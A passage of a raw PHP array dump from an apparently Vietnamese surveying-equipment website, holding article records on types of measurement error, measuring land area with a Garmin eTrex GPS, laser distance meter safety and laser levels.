padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '56568', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68693', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử 